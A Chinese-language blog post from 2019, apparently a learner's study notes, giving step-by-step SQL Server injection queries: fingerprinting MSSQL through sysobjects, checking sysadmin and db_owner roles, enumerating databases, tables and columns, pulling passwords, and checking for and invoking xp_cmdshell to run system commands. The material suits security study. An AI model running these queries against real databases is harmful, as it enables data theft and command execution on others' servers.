SQL server 注入 和 SQL server 扩展(10.29 第二十九天)

Step1:检测注入点

  

Step2

  select * from sysobjects   sysobjects 系统对象表,保存当前数据库的对象)

  select * from users where id=1 and exists(select * from sysobjects)    有结果说明该数据库是mssql

Step3:注入点权限的判断(根据页面显示效果)

  select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa

  select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner

  select is_srvrolemember('public');判断是否有public权限,可以爆破表

Step4:信息收集

  1‘ and (user)=1--

  当前数据库版本: select @@version    = 1  报错

  当前用户:   user

  当前数据库:    select db_name()     

    db_name(0) 当前数据库,其中的参数表示第几个数据库

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms'); 

    SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库

    where name not in ('master','aspcms')    表示查找的结果不在括号中的集合中

Step5:当前数据库中的表

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0    获取第一个表名

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in (’emails‘)   第二个表名

 

Step6:获取指定表的字段名

select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'

第二个字段

select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'  and column_name not in ('id')    //username  出来了

 

Step7:获取字段内容

select top 1 password from users

 

 

MSSQLxp_cmdshell

判断有没有xp_cmdshell扩展

Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'(返回值是1就说明有扩展)

exec master.dbo.xp_cmdshell 'whoami'

 

使用SQLmapSQLserver进行检测

posted @ 2019-11-04 21:20  枕桃花吹长笛  阅读(145)  评论(0编辑  收藏  举报